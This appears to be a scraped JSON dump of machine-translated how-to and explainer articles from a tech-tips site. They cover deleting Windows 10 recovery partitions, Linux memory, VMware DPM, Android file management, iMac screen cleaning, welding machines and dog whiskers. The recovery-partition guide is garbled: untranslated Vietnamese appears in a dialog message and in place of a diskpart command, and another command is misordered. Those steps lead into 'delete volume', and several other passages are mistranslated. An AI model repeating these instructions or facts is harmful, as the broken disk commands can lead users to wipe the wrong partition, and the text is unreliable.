Recovery partition on Windows 10.\n2. Delete Recovery partition on Windows 10 Important note: these methods only apply to OEM recovery partitions.\nWindows 10 does not allow users to delete existing Recovery partitions on the system without creating a USB recovery drive. In fact, you can only access to delete Recovery partition after being in a new Recovery drive.\nStep 1:\nUse a USB drive with at least 8 GB capacity, then plug the USB drive into a Windows 10 computer and back up all data to a safe location because all data on the USB drive will be erased during the process. create Recovery drive.\nAnd the Network Administrator mentioned above, Windows 10 does not allow users to delete Recovery partition without creating a USB Recovery drive.\nStep 2:\nEnter Create a recovery drive into the Search box on the Start Menu or Search box on the Taskbar and then press Enter to open Recovery drive wizard.\n  Step 3:\nOn the Recovery drive window, select the option Back up system files to the recovery drive and click Next .\n  Step 4:\nWait a few seconds, now on the screen you will see a window like the one below, here select the USB drive you want to use to create the Recovery drive.\nNote:\nBacking up all data on the USB drive to a safe location by the process of creating a Recovery drive will erase the data on the USB drive.\nAfter selecting the USB drive, click Next to continue.\n  Step 5:\nNow on the screen you will see the message: 'Everything on the drive will be deleted. Nếu bạn có tập tin này này này, không thể xác thực bạn đã đăng tải tập tin '.\n  \nYou just need to click the Create button to start the process of creating a Recovery drive on Windows 10. The process will take a long time, so you should wait patiently.\n  Step 6:\nAfter the process is complete, you will see the Delete link for the partition recovery from your PC. To delete the Recovery partition on Windows 10, click on the Delete the partition recovery link from your PC , then click Delete .\n  However on many Windows 10 computers do not display the Delete the recovery partition link from your PC on the screen, then you can apply the solution thanks to the support of the 3rd tool. Network administrators will mention Come in section 3 below.\n2. Delete 450 MB Recovery partition on Windows 10 As you know, Windows 10 creates a 450 MB Recovery partition (recovery partition) during the process when you install Windows 10 or upgrade the old version to Windows 10.\n450 MB Recovery partition created by Windows 10 allows users to boot into Windows Recovery environment (Windows recovery) in case the system fails. Once booted into Windows Recovery environment, users can fix errors and restore their Windows computers using restore points (Restore points) or System images created earlier.\n  Should I delete the 450 MB Recovery partition? If the free space on your HDD or SSD is quite a lot, then deleting Recovery partition 450 MB is not recommended. In addition, if your computer has less free space, deleting Recovery 450 MB partition does not make any sense. In fact, you can free up 450 MB by deleting folders Download or uninstall programs, applications or software that you don't use, or delete temporary files on Windows 10.\nAnd you need to note one more point that you will not be able to use the Windows Recovery option if you delete the 450 MB Recovery partition. Or in other words, if you delete 450 MB Recovery partition, you cannot boot your computer in Recovery environment to fix Windows 10 installation errors.\nHowever, if you want, you can still delete the Recovery partition.\nWarning: It is recommended that you back up all data to a safe location before deleting the 450 MB Recovery partition to prevent possible bad situations.\nSteps to delete Recovery partition 450 MB on Windows 10: To delete 450 MB Recovery partition on Windows 10, follow the steps below:\nStep 1:\nOpen Command Prompt under Admin. To do this, right-click the Star t button in the bottom left corner of the Taskbar, then click Command Prompt (Admin) .\nA User Account Control message window will appear on your screen, and click Yes .\n  Step 2:\nOn the Command Prompt window, enter each of the commands below, after each statement, press Enter to execute each statement.\nDiskpart\nPress Enter\nList disk\n  List disk command to display all drives connected to your Windows computer, including portable hard drives (USB drives, .). So please carefully note the hardware / SSD Disk number, including the Recovery partition (recovery partition) you want to delete. Usually if there is only one HDD / SSD, the Disk number is 0\nStep 3:\nNext enter each of the following commands into the Command Prompt window, after each statement you also press Enter to execute each command one by one.\nSelect disk n\nNote that the above command replaces \"n\" with the Disk number of the HDD / SSD drive containing the Recovery partition.\nVolume list\n  The above command displays all partitions on the drive you selected, including Recovery partition.\nChọn kích cỡ n\nNote, replace \"n\" with the Volume number of the Recovery partition you want to delete.\nYou can easily identify the Recovery partition by looking at the partition size. Recovery partition on Windows 10 is 450 MB in size.\nDelete volume\n  The above command will delete the Recovery partition you selected on your Windows 10 computer. If you encounter any errors, it may be because you have not run the Command Prompt under Admin.\nYou can also use the 3rd tool to delete Recovery partition 450 MB on Windows 10.\n3. Use the 3rd tool to delete Recovery partition and Recovery partition 450 MB on Windows 10 It is recommended that you create a System image on your Windows 10 computer or back up all data to a portable hard drive (for example, a USB drive, etc.) before proceeding to delete the system drive as most likely Your computer will not boot.\nWith this second solution, thanks to the support of the 3rd application - MiniTool Partition Wizard Free to delete Recovery partition on Windows 10 computer.\nStep 1:\nDownload MiniTool Partition Wizard Free to your computer and install.\nDownload MiniTool Partition Wizard Free to your computer and install it here.\nStep 2:\nAfter installation is complete, open MiniTool Partition Wizard Free.\nStep 3:\nRight-click the Recovery partition and then click Delete .\n  Step 4:\nFinally click Apply to delete the Recovery partition and free up disk space.\nStep 5:\nYou can create a new drive by right-clicking and selecting Create and following the instructions on the screen.\nRefer to some of the following articles: This is how to check your Windows 10 is Win copyright or not? Here's how to bring the File Explorer interface to Windows 10 like File Explorer Windows 7 Here's how to uninstall Windows 10 to return to using Windows 7 or 8.1 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWYpMRuwM5mm56klamybr7EnKavnaKuerGt0a2graGfo3qiusNmqZ6bn6uys8WMqZirrJmptrC6jG1saWWdl3qwuoywoKecn6zAbn2P\n","link":"/post/this-is-how-to-delete-recovery-partition-and-recovery-partition-450-mb-on-windows-10/","section":"post","tags":null,"title":"This is how to delete Recovery partition and Recovery partition 450 MB on Windows 10"},{"body":"Like humans, dogs also have beards. But what does a dog's beard do? Is it just for 'decoration', it is okay to not have nothing like that for humans? Let's find out soon.\nWhat is a beard? A beard is basically a coarse, stiff hair that grows in the area near the mouth that can be found in most mammals today, while playing a variety of roles.\n  What is the role of a dog's beard? Cats often have 12 beard strands lined up neatly on each edge, for a total of 20-24. These whiskers play an important role in cats, because they are their tactile feathers. Without a beard, the cat is like being blind and not feeling.\nFor dogs there is a little slight difference. A beard is usually found on both sides of the dog's muzzle, with several protruding above the eyes. Some bearded breeds grow downwards from the upper lip, upper cheek, or under the chin. The follicles at the base (legs) of each beard are filled with super sensitive nerve fibers so that even the slightest touch will transmit a large amount of messages to the dog's brain.\nThe area around the muzzle and mouth of a dog is rich in Merkel cells (MC), a special type of cell found just below the epidermis, the top layer of skin. According to a study published in the journal Veterinary Science, Merkel cells are skin receptors that bind to nerve endings, making these hairs extremely sensitive.\nBecause of this sensitivity, the dog's beard also has many different roles, such as direction recognition, collecting information about the smallest changes in the surrounding environment. For example: The beard is growing in the area of ​​the muzzle that protrudes, so if there is a slight airflow or even the smallest of objects hitting the hairs, information is quickly transferred to the brain and will be made. that is, a blink reflex to protect the eye from potential dangers, all in less than a 'tick'.\nIn addition, the beards also help dog position food, disperse pheromones and maintain an upright posture while swimming. Dogs are born with farsightedness, so the beard also helps in close-up vision, allowing the dog to assess if it is about to bump into an obstacle in front of it or whether it can get into a tight space.\nNot only that, the beard also helps to show the dog's feelings, especially when they feel threatened, scared, the beards tend to be upside down and clawed back.\nDo all dogs have beards? Nearly all dog breeds have beards, in one form or another. In some species, the antennae grow in long, thick clusters while only sparsely grow in others.\nThere does not appear to be any difference in the structure and function of the beard between most dog breeds, except for the hairless dogs and cats, which may have little or no beard at all. Meanwhile, their body will adapt to this shortcoming.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02abqJ2jYq5usM6gqmaalZa%2FpXnDqGSdp12Wua15w6ierGWYlsOmecGemKucow%3D%3D\n","link":"/post/what-does-a-dog-s-beard-do-do-all-dogs-have-beards/","section":"post","tags":null,"title":"What does a dog's beard do? Do all dogs have beards?"},{"body":"When running the show module status command from CLI or cat / proc / meminfo command on the module, the output lists the values ​​for High memory and Low memory:\ntotal: used: free: shared: buffers: cached: Mem: 1049051136 765775872 283275264 0 158441472 376979456 Swap: 1036115968 0 1036115968 MemTotal: 1024464 kB MemFree: 276636 kB MemShared: 0 kB Buffers: 154728 kB Cached: 368144 kB . HighTotal: 131072 kB HighFree: 3064 kB LowTotal: 893392 kB LowFree: 273572 kB  So you know what High memory and Low memory are in Linux? Find out with TipsMake.com through the following article!\nWhat is high memory and Low memory?   High memory is the memory part that user-space programs can handle. High memory does not affect Low memory. Low memory is the memory part that the Linux kernel can handle directly. If the kernel must access High memory, the kernel must first map to its own address space. How is high memory and Low memory used?   On a 32-bit Linux operating system, the CPU can handle up to 4GB of memory. Memory is divided into Low memory (also known as Normal memory), which is mapped directly into the kernel's address space, and High memory, without direct kernel mapping. In other words:\nThe kernel itself (including its operating modules, for example Check Point kernel modules) can only use Low memory. The user processes on the system (anything that is not a kernel) are capable of using both Low and High memory. Situations that can occur with High memory and Low memory Due to the Low memory limit, OoM (Out of Memory killer) can be called even if there is a lot of free memory. This situation occurs when Low memory is exhausted and the kernel needs to allocate more memory. However, an unusual situation can happen is that there are many high memory vacancies but all Low memory is empty. More commonly, both High and Low memory are close to zero.\nHigh memory usually starts at over 896MB. However, on Blue Coat X-Series chassis, the limits will vary.\nPlease note that on 64-bit operating systems, since there is too much virtual memory address space, Low memory should be equal to Total memory . When running the show module status command from CLI, the High memory and Low memory values ​​will not appear.\nSlot 14: SDRAM 1 Size 1048576(KB) SDRAM 2 Size 1048576(KB) SDRAM 3 Size 1048576(KB) SDRAM 4 Size 1048576(KB) SDRAM Total Size 4194304(KB) Reserved Memory 602536(KB) Total Memory 3591768(KB) Used Memory 453144(KB) Free Memory 3138624(KB) Shared Memory 0(KB) Buffers Memory 139340(KB) Cached Memory 187200(KB) Memory Utilization 3.52%  Running cat / proc / meminfo on modules, HighTotal and HighFree will always be 0 :\n# cat /proc/meminfo MemTotal: 3591768 kB MemFree: 135968 kB Buffers: 378312 kB Cached: 1754432 kB SwapCached: 68 kB Active: 965532 kB Inactive: 2080476 kB HighTotal: 0 kB HighFree: 0 kB ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWYnrSpecyepKiqqWKur7CMpaawZZ2aurC%2B2Gagp2Wcnru2xA%3D%3D\n","link":"/post/what-is-high-memory-and-low-memory-in-linux/","section":"post","tags":null,"title":"What is high memory and Low memory in Linux?"},{"body":"In the process of manufacturing industry, mechanical processing, we can not lack a specialized tool is welding machine. So what is the function of welding equipment and how is the role of welding machine in life and production and construction important? Let's TipsMake.com learn the basic concepts of welding machines, how to classify and distinguish popular welding machines in the current mechanical application offline!\nQuick review of content What is welding machine? Basics of welding machine Basic principle of welding machine  Classification of welding machines What is rod welding machine? What is TIG welding machine? What is MIG welding machine? What is MAG welding machine? What is Plasma cutting machine?  What is welding machine? Basics of welding machine Imagine separate pieces of metal how to connect to each other? Welding work will help you in this case very simple! By melting welding, the welding machine will help to make connections between heterogeneous (or any thickness) metals or alloys that are stable and extremely durable.\n Welding machines help mount metals and alloys together effectively.\nBasic principle of welding machine Basically, there are two ways to weld: welding by melting at the metal to be welded or melted while adding welding materials.\nWhen welding metal melting, in the weld position, the metal will reach liquid state. Local melting of the metal is performed at the edges of the coupling element. When the metal heating source is turned off, the molten solder will condense to form a solid monolithic weld with a two-part link structure.\nClearly with such welding mechanism, the application in the manufacturing industry, mechanical engineering is a preliminary step necessary for a production machine frame or to recover the structures and details to be dismantled.\nClassification of welding machines There are many ways to classify different welding machines. For example, based on manufacturing technology, people are divided into two types of mechanical welding machines and electronic welding machines; Small power inverter welding machines of about 200A or less are also known as mini electronic welding machines because they are small, compact and lightweight as its name suggests. In fact, the most commonly used way of classifying welding machines is based on welding techniques, often divided into categories: rod welders, TIG welding machines, MIG welding machines, MAG welders, multipurpose welding machines. (combine 2 - 3 different welding techniques). In addition, to complement the welding of metals and alloys, mechanics often use an additional device for plasma metal cutting machines. Here are detailed information about each type of welding machine, cut this.\nWhat is rod welding machine? Rod welding machine, also known as manual arc welding machine, is based on manual arc welding principle. This is a hot melt welding process that uses electrodes in the form of welding rods usually with a shield and no protective gas, in which all welding operations are done by the welder.\nApplication : Electric arc welding machine specialized for connecting metal parts such as iron, steel, stainless steel . together through melting and adhesion of metal materials and welding materials.\nFor example, the Hong Ky SR-200R rod welding machine has a high operating capacity of up to 8.3 KVA, allowing for quick and efficient welding, suitable for soldering, for extremely beautiful welds.\n Hong Ky SR-200R rod welding machine.\nWhat is TIG welding machine? TIG welding machine is a type of welding machine that applies welding technology with tungsten electrode in an inert atmosphere. The gas will protect the weld from outside air penetration.\nApplication : TIG welding machine can be used for many metals such as stainless steel, aluminum, magnesium, copper and copper, nickel and nickel alloy, low carbon steel with different thickness .\nFor example, the Hong TIG HK TIG 200E electronic welding machine can weld chopsticks and weld Argon gas, using 1-phase 220V power and maximally save electricity thanks to the application of Inverter technology. Size of 1.6mm welding rods - 3.2mm and 1.6mm - 2.4mm welding needles, the ability to adjust the output current 10A - 200A and the average working efficiency reaches 60%, bringing high efficiency and productivity. working.\n  Hong TIG HK TIG 200E electronic welding machine.\nWhat is MIG welding machine? MIG welding machine adopts metal arc welding method in environment with protective gas. The main electrode here is the melted solder wire, which is automatically applied to the welding object, the environment is Argon or Helium inert gas.\nApplication : MIG welding machine is often used to weld alloys, non-ferrous metals and high alloy steel Al, Ni, Cu .\nFor example, MIG SMARTER INMIG-250 welding machine is commonly used in the production of tables, chairs, bicycle frames, motorcycles, mechanics, etc., because of its ability to weld most metals, easy to automate and for long welds without interruption.\n  MIG SMARTER INMIG-250 welding machine.\nWhat is MAG welding machine? MAG welding machine, also known as semi-automatic welding by molten electrode in a protective atmosphere of CO 2 gas. When welding CO2 will be heated and produce insoluble CO in liquid metal (structural steel), especially when at high temperature it will expand and move at high speed so it has a protective effect efficient melting welding area.\nApplication : MAG welding machine is used to weld structural steel with low and medium carbon content. In addition, the structure with large thickness can also use mixed gas (Oxygen, Ar .)\nWhat is Plasma cutting machine? Plasma cutting machine uses the principle of Plasma operation to perform metal cutting process. The principle of Plasma cutting is based on the utilization of very high temperatures and the high speed of movement of gas from the nozzle of the Plasma cutting head to melt and blow metal from the cutting groove. During use, the cutting edge is flat and not grainy, to create a perpendicular cutting edge that needs to reduce the cutting speed.\nApplication : This plasma cutting machine is commonly used in large-scale industry.\nFor example, the HK 70 Hong Ky Plasma Cutting Machine can cut on copper, stainless steel, iron materials . including non-ferrous metals and high hardness materials. The machine operates stably, maximizes power saving, with high working efficiency, safety with over-temperature, overload, and unstable power supply modes.\n Hong Ky Plasma Cutting Machine HK 70.\nHopefully with the above basic information, you will understand more about the common welding machines, cutting machines, as well as how to distinguish these machines.\nIf you need to buy genuine welding machine, cutting machine, warranty, please pay attention to buying equipment at reputable suppliers. You can go to the following address to find out and get more advice:\nMETA Hanoi: No. 56 Duy Tan, Dich Vong Hau Ward, Cau Giay, Hanoi Phone: 024.35.68.69.69 META HCMC: 716-718 Dien Bien Phu, Ward 10, District 10, Ho Chi Minh City Phone: 028.38.33.33.66 More reference :\nTop 5 best welding machines for welding iron frames, iron doors Top of the best selling stainless steel welding machines today Top 5 cheap mini family electronic welding machines in good quality ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnmrmltc2gZKaZk522r7GMnKOaq6Oes6qvwK2gqKZdpLNuw8Slm6Kml2K6oq%2FHoqWeqw%3D%3D\n","link":"/post/what-is-welding-machine-classification-of-welding-machines/","section":"post","tags":null,"title":"What is welding machine? Classification of welding machines"},{"body":"\u0026nbsp;To keep track of this significant amount of data on your Android device, you need a file manager app that allows you to manage and organize the data inside your phone's internal or external storage.\nA file manager not only allows you to organize your files, but also does much more (discussed below). Here are the absolute basics of file management on Android phones that you need to know.\n1. Which file manager application do you use? Default or third party? As mentioned above, your files are accessible through file manager apps on your phone. Android devices always come with a built-in file manager, usually developed by the device manufacturer. Many users find these native file managers less effective, as they lack some advanced features. And that's why many people choose third-party file managers.\nOver the years, Android developers have published a large number of useful file managers, and Google also has a file manager, called Files by Google. It is a third-party application on most devices but is also pre-installed on some devices these days. The application has a lot of great features that you may not find in the original file managers.\nThere are other all-in-one file managers that offer folder organization, compression, and file transfer.\n2. How to find files on Android Finding files from gigabytes of data can be frustrating. You must have encountered a situation where you downloaded a file from the Internet and that file disappeared somewhere in your subfolders. In such cases, you may not know where to start looking for it.\nModern file managers like Files by Google work automatically based on AI to help pin recent files to the top. So if you downloaded or created a file recently, you can easily find it in the Recents section.\nIf you're looking for an older file, go to the Browse tab at the bottom and then tap the Search icon at the top of the screen. You can now search for your file by typing its name. You can also apply a file type filter to narrow down your search results.\n  3. How to rename files Renaming files is a common operation to organize files or avoid duplicate names. Renaming sounds simple, but it can cause a lot of problems. For example, if you try to rename an image, you might change its file format, which may cause it to not open.\nTo safely rename a file, open the app and locate the file. Now, tap the three-dot icon on the side to open the drop-down menu. Select Rename from there.\nA pop-up window will appear allowing you to edit the name. To prevent any harm to the file, it will only highlight the name of the file to be edited while ignoring the file type like PNG, PDF or MP3. Do not change the file type, or your file will not work.\n  4. How to move, copy and paste files The most common operations in file managers are copying, pasting, and moving files. Files by Google provides a simple way to do these operations.\nTo move a file, find it and tap the three-dot button next to the file. Select Move to from the drop-down menu and select a destination storage location, such as internal storage or SD card. Then, select the desired folder where you want to move the file and click Move here.\n  The process is the same as moving if you want to copy and paste your files. Select Copy to from the drop-down menu and select the folder where you want to copy the file. Then click Copy here to complete the operation. Copying creates a copy of the file.\n5. How to create folders on Android To organize files, you need folders to store them separately. Creating folders is quite simple and there is no limit to the number of folders you can create.\nTo create a new folder, select the storage device at the bottom of the Browse tab on which you want to create the folder. It can be internal storage or external storage like SD card.\nNow, tap the three-dot button in the top right corner of the screen. From the list of options, tap Add new folder. Then a pop-up window will appear asking you to enter the folder name. Give it a name and click Create Folder.\n  Once a folder is created, you can move, copy, and rename the folder the same way you would with a file, as outlined above. You can also check directory information, such as location and creation date.\n6. How to compress files Another common operation is to compress the file into a zip file. Compression reduces file size, convenient for emailing and sharing.\nTo compress files on Android, you need a compression application like WinZip. In the app, select all the files and folders you want to compress.\nClick the three-dot button and select Zip to here. Name your zip file and click OK. This will compress all the selected files in a new zip file in the exact same location as the original files.\nYou can open zip files with Files by Google. Locate and tap on it. A pop-up window will appear. Click Extract and your files will be extracted as before compression.\n  7. How to share files Now that you know the basic operations of a file manager, the next thing is to share your files with others. Files by Google has two main options for this problem.\nThe first option is to find the file and click Share in the drop-down menu. This gives you the option to share files via Bluetooth and social networks. Choose the option you want and share files with your friends and family.\nFiles by Google has another option for you called Nearby Share. This option is quick and simple. All you have to do is open the app and navigate to the Share tab. Click Send and then select the file you want to transfer to another device. Note that the receiving device also needs to have Nearby Share.\n  Once the file is selected, press Send and the app will scan for nearby devices. Tap the receiving device and your file will be sent instantly. This feature is much faster than Bluetooth.\nIn addition, you can refer to: Top 10 good file management applications on Android.\nfile manager android file manager ncG1vNJzZmismaXArq3KnmWcp51khG7AyKmqZqyfYrivu9Zmq6hlnZa7orPEZp2ipJWoerC6jJqlnaqfnrE%3D\n","link":"/post/7-tips-to-know-to-manage-files-on-android/","section":"post","tags":null,"title":"7 tips to know to manage files on Android"},{"body":"Not only possesses a cool appearance and perfect performance, the Porsche 911 GT3 is also known as one of the most mesmerizing exhaust pipes in the supercar today, thanks to the engine block. 3.8L produces a maximum power of up to 475 horsepower of the famous Porsche. Of course, to have a good sound, the power of the engine is not enough, the design of the exhaust also plays a very important role, and in this case, the exhaust of the 911 GT3 can be considered a mechanical masterpieces.\nHowever, such a mechanical masterpiece that can only be used in a car is a pity. Recently, Porsche Design designers came up with the idea to produce a Bluetooth speaker with a prototype frame taken from the exhaust of a 911 GT3 called 911 Soundbar, and of course the price of the speaker is very cool. This is not cheap, up to 3800 USD (about 90 million VND).\nIgnoring the gimmicks, it must be confirmed that the chassis from the 911 GT3 exhaust has a great contribution to the overall sound quality of the speaker. We all know the design and design of the cabinet has a great influence on sound quality. According to Porsche Design experts, the rear silencer and the twin exhaust structure act as a passive resonance system, helping to produce deeper sound, especially in the bass range. In addition, this design also brings quite good visual effects, making the speaker look really cool and fancy.\n  Like any modern hi-fi device, the 911 Soundbar supports Bluetooth, analog, coaxial and optical inputs. The speaker has a capacity of 200W for quite good music playing in open space, but the amount of about 20kg will make the mobility of the speaker is not really high.\nThis is an expensive speaker - obviously - and it's not made for the masses either. Porsche Design said the number of 911 Soundbar sold in the market will be very limited, and the main target it is targeting are the `` loyal fans '' of Porsche in general and the legendary 911 cars in particular - those with surplus. passion and especially the financial ability to own this unique, 'toy'.\nncG1vNJzZmismaXArq3KnmWcp51ksKK6jLKmrmWXqrK0v4ytn55lkqHCpsDOqKuhZaOlsqK3xKtkppmUmnqnvs6mZK2glWKyubTArqqtZZ%2BberW0xGanqKqjmLWmeZhqaGafpGh6tMHPnqmcmaI%3D\n","link":"/post/can-you-guess-the-bluetooth-speaker-made-from-the-exhaust-of-the-porsche-911-gt3-supercar/","section":"post","tags":null,"title":"Can you guess the Bluetooth speaker made from the exhaust of the Porsche 911 GT3 supercar?"},{"body":"Distributed Power Manager (DPM) is part of Distributed Resource Scheduler (DRS) integrated in VMWare.As well as optimizing the process of loading resources through multiple DRS ESX servers, DPM can also contribute to performing this function by moving guest virtual machines from unused and off-premises servers. these servers. In VMWare, DPM is described as follows: VMWare DRS integrates distributed power management (DPM) feature. When DPM is activated the system will compare the server and cluster level capacity with the requirements of the virtual machines operating in that cluster. Based on the comparison results, DPM will propose (or automatically deploy) measures to reduce the power consumption of the cluster. Why is the server turned on and not needed and not used? This is like when we turn on the light when we have enough light - an unnecessary waste. And DPM can automatically turn off unused servers. Configure DPM in UMWare Before starting to configure DPM we need to pay attention to some of the following requirements: Install VMware Virtual Infrastructure Suite Enterprise.  At least two ESX hosts have been installed and operated.  Connecting Wake on LAN (WOL - a network connection standard that enables to turn on or turn off the computer with a network message) has been activated on ESX host servers.  Manage these servers with VMWare Virtual Center. If you're not sure if the physical server (ESX storage system) supports WOL, then we can open this server in the VI Client , then go to the Configuration tab, click Network Adapters . Then we will see the Wake on LAN Supported column as shown in Figure 1.  Figure 1: Check if the adapter supports WOL. Note that we may have to enter the server's BIOS to activate WOL. Next, go to the VI Client Configuration , select the Networking area and make sure that the server's VMkernel vSwitch adapter is also an adapter that supports WOL. If it is not supported we will have to re-arrange the adapter because DPM uses the server's VMkernel vSwitch NIC.  Figure 2: Check to see if the Vmkernel adapter connects to the physical WOL adapter. We then need to create an ESX Server Cluster by right-clicking on the host server to select New Cluster .  Figure 3: Creating a DRS cluster. When the New Cluster Wizard appears, it will appear. On the Cluster Features page we need to select for ESX Host Clusrer this is a Distributed Resource Cluster by selecting the VMWare DRS check box. Then click Next .  Figure 4: Creating a Cluster that has DRS enabled.\nWe then proceed to the next few steps to configure the installation of Cluster DRS on this Wizard, and check the configuration at the last step, then click Finish to create the DRS Cluster. After completing the creation, right-click on this Cluster and select Edit Settings as shown in Figure 5.  Figure 5: Modifying the settings for VMWare DRS Cluster. On the Cluster installation window in VMWare DRS , select Power Management in the left panel (Figure 6).\n Figure 6: Options of Power Management for DRS Cluster. With the Power Management options of this Cluster, we can choose one of three options: turn off DPM for Cluster, install Cluster to DPM manually, or install DPM automatically for Cluster . We can also manually override the DPM settings for each ESX server located in that Cluster in the Host Override area of ​​the Power Management window (Figure 6). With a manual DPM Cluster, DPM will send a proposal to turn on or turn off the servers in Cluster based on the requirements. We can see one of these suggestions in Figure 7.  Figure 7: DPM proposal with a manual DPM Cluster. We can do this suggestion and turn off the server when clicking the Apply Recommendations button. With an automatic DPM Cluster, the clients will automatically be removed from an unnecessary server and the server will automatically be turned off. No matter what happens to this process, we can see in the Events area of ​​the Client VI that the guest virtual machines have been moved and those servers are entering Standby Mode (switching to Stanby mode) like in Figure 8.\n Figure 8: ESX server in a DPM Cluster is switching to Stanby mode because DPM is installed automatically. We can check the status of DRS / DPM Cluster in the Cluster Summary tab, as shown in Figure 9.\n Figure 9: Summary tab of a Cluster DRS / DPM in Automatic mode. DPM is still an experimental feature. In the first DPM activation we will see a warning as shown in Figure 10.\n Figure 10: Warning that DPM is being tested. However, you can safely use this feature test because in fact, many of VMWare's most useful and successful features are still in beta.Conclude In this article we learned how to configure VMware Distributed Power Management (DPM). DPM is used to move virtual clients from unused servers to and disable these servers to save power.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYrGxuYyipWaunayus7E%3D\n","link":"/post/configure-dpm-in-vmware/","section":"post","tags":null,"title":"Configure DPM in VMWare"},{"body":"You encounter an error that cannot type Vietnamese when using Chrome browser after a period of use. To fix the error of not typing Vietnamese on Chrome, you can refer to our simple way:\nBefore proceeding to fix Vietnamese typing on Google Chrome, make sure that you have installed the latest Vietnamese-language typing software.\nThe following steps are done on the old version of Chrome. Customizations in the new version have changed and failed to work. You can remove Chrome to reinstall, update Chrome to the latest version, and make sure to enable Vietnamese typing to fix the error of typing Vietnamese on Chrome.\nStep 1 : Download and install Unikey version suitable for your operating system, the example here is Unikey 4.2 RC4\nStep 2 : Open Google Chrome browser, Click on the icon on the top right as shown below and select Install\n  \nStep 3 : In the Settings window, click Show advanced settings\n  Step 4 : Go to the Web Content section and click on Custom fonts\n  Step 5 : In the Encoding section, click on the arrow pointing down and select Unicode (UTF-8) . Then press Done to save the setting\n  Finally restart Google Chrome, so you've typed normal Vietnamese on Chrome already!\nIf it still doesn't work, check your Vietnamese input method to make sure it has been switched to Vietnamese mode and the typing method you still use. With the bug fixes, you cannot type Vietnamese on Chrome above, hope you can re-type Vietnamese on Chrome as usual.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiqHqvu9Nmq7KomaO0bsLInqunmZ2awKZ5zqdknKCipLqm\n","link":"/post/fix-errors-not-typing-vietnamese-on-chrome/","section":"post","tags":null,"title":"Fix errors not typing Vietnamese on Chrome"},{"body":" If dust and fingerprint smudges are clouding your iMac screen, then it is time for a cleaning. Use a non-abrasive cloth, like a microfiber cloth, to wipe away dust. To get rid of stubborn smudges, try a screen cleaner. Avoid using abrasive...\nMethod 1of 2:\nRemoving Dust and Smudges  Shutdown and unplug your iMac. Click the apple icon in the upper left corner of your iMac screen. Then click 'Shut Down.' Unplug the power cord from the back of your iMac.[1] Additionally, unplug any other devices that are connected to your iMac like speakers and HDMI cords.   Use a microfiber cloth to wipe dust from the screen. Tilt your iMac screen upward. To stabilize the screen for cleaning, place your hand against the back of the screen near the bottom. Gently wipe the entire screen in slow circular motions.[2] Alternatively, use the cloth that came with your iMac to wipe the screen free of dust. EXPERT TIP\n Jeremy Mercer\nComputer Repair Technician Jeremy Mercer is the Manager and Head Technician at MacPro-LA in Los Angeles, CA. He has over ten years of experience working in electronics repair, as well as retail stores that specialize in both Mac and PC.  Jeremy Mercer\nComputer Repair Technician\nTry wiping the screen down with just the microfiber first. Computer repair technician Jeremy Mercer says: \"Most of the time, you can clean the screen with just a dry microfiber cloth, because it's mostly going to just be fingerprints and things like that. If you do need more cleaning power, like if there's been a liquid spill or something greasy on the screen, use 91% rubbing alcohol or an electronics-approved screen cleaner like Screen Mom.\"\n  Spray a computer screen cleaner onto a clean microfiber cloth. Only spray the cleaner once or twice to dampen the cloth. Do not soak the cloth. Gently wipe the screen in a circular motion to remove smudges and other marks. Wipe the entire screen until it is free of smudges and marks.[3] You can purchase computer screen cleaners online or at your local office supply store. Avoid scrubbing the screen to remove stubborn marks and smudges.   Use water to clean your computer screen. If you do not have a computer screen cleaner, then dampen a microfiber cloth with water. Using circular motions, wipe the entire screen until it is clean.[4] If you need to clean something sticky, make your own cleaner by mixing equal parts water and distilled white vinegar. Use this solution to clean your screen.   Wipe the screen with a clean, dry microfiber cloth. Wipe the screen in a slow circular motion to dry it. Wipe the screen until it is completely dry and free of streak marks.[5] Make sure to use a different cloth from the one that you used to clean the screen.  Method 2of 2:\nUsing the Right Materials  Avoid using cleaners with acetone and ammonia. Cleaners that contain acetone and ammonia are too harsh for an iMac screen. Also avoid using regular household cleaners to clean your iMac screen, including window and glass cleaners.[6]\nEXPERT TIP\n Jeremy Mercer\nComputer Repair Technician Jeremy Mercer is the Manager and Head Technician at MacPro-LA in Los Angeles, CA. He has over ten years of experience working in electronics repair, as well as retail stores that specialize in both Mac and PC.  Jeremy Mercer\nComputer Repair Technician\nDon't use window cleaner or other harsh chemicals to clean your phone. Computer repair technician Jeremy Mercer says: \"Household cleaners will de-laminate most Apple screes, especially in the retina era, or anything from late 2012 to mid-2015. When that happens, you'll start to see gray spots on the screen that won't come off.\"\n  Make your own cleaner using water and white vinegar. Mix equal parts water and distilled white vinegar in a spray bottle. Place and secure the top on the spray bottle. Gently shake the bottle to mix the ingredients together.[7] Make sure to spray the cleaner onto the cloth instead of the iMac screen. You can use this cleaner in place of commercial screen cleaners.   Avoid using paper towels to wipe your iMac's screen. Paper towels, toilet paper, dishcloths, and tissue paper are too abrasive for iMac screens. You may scratch your iMac's screen if you use these. Instead, use a microfiber cloth, or the cloth that came with your iMac to clean it.[8]\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vecCnZKKlkZh6tK%2FRnpyn\n","link":"/post/how-to-clean-an-imac-screen/","section":"post","tags":null,"title":"How to Clean an iMac Screen"},{"body":"If you bought a computer in the last 5 years, at least you will have a USB 3.0 port on the system. If your computer is newer, maybe your computer has all USB ports, it is 3.0 or most of them are 3.0. This is faster because USB 3.0 is a new standard technology that is gradually becoming popular. You want your laptop to have USB 3.0 ports to work with other devices in the future. The only problem is that you cannot dispose of USB 2.0 devices, such as printers. If you have an old printer still using USB 2.0 port, connecting the printer using USB 2.0 to a USB 3.0 port on Windows does not always work well. However, the good news is that you don't need to throw the printer away, you still have a way to continue using it.\nDifferentiate USB 2.0 and USB 3.0 Want to know if your computer supports USB 3.0, read this article There are two methods to help you connect the printer's USB 2.0 port to a USB 3.0 port on Windows. Assuming you don't have a USB 2.0 port to connect to the system, check the USB ports on your device to make sure you have no alternatives. If all of them are USB 3.0 ports, read the article below.\n  Composite port (AV port) Maybe you only have USB 3.0 port on your laptop or one of them is Composite port. Composite USB port is a port that supports multiple devices. This is usually the charging port on the system. If you are not sure you have Composite port, try connecting the printer to this port. Usually it will work. Windows will detect and install the correct driver for it.\nAlso, open Device Manager and expand 